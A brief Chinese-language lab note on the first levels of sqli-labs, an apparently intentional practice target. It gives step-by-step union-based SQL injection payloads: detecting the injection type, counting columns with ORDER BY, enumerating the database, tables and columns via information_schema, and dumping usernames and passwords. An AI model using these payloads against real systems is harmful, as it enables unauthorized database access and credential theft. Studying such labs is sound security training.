sqli-labs

前两关

输入?id=1和?id=2 和?id=2-1

若2-1的结果和2一样则为字符型 若2-1 和1的结果一样则为数字型

然后确认字段位数 order by 数字一个个试看哪个报错就可确认其为n-1位

确认占位信息 ?id=-1 union select 1,2,3 –+

找库名 ?id=-1 union select 1,2,database()2之后的便是库名

找表名 ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’–+

找字段名 ?id=-1 union select 1,2,group_concat(column_name) from information_schema.COLUMNs where table_schema=’security’ and table_name=’users’–+

找账号密码 ?id=-1 union select 1,2,group_concat(concat_ws(‘,’,username,password) SEPARATOR ‘|’) from users –+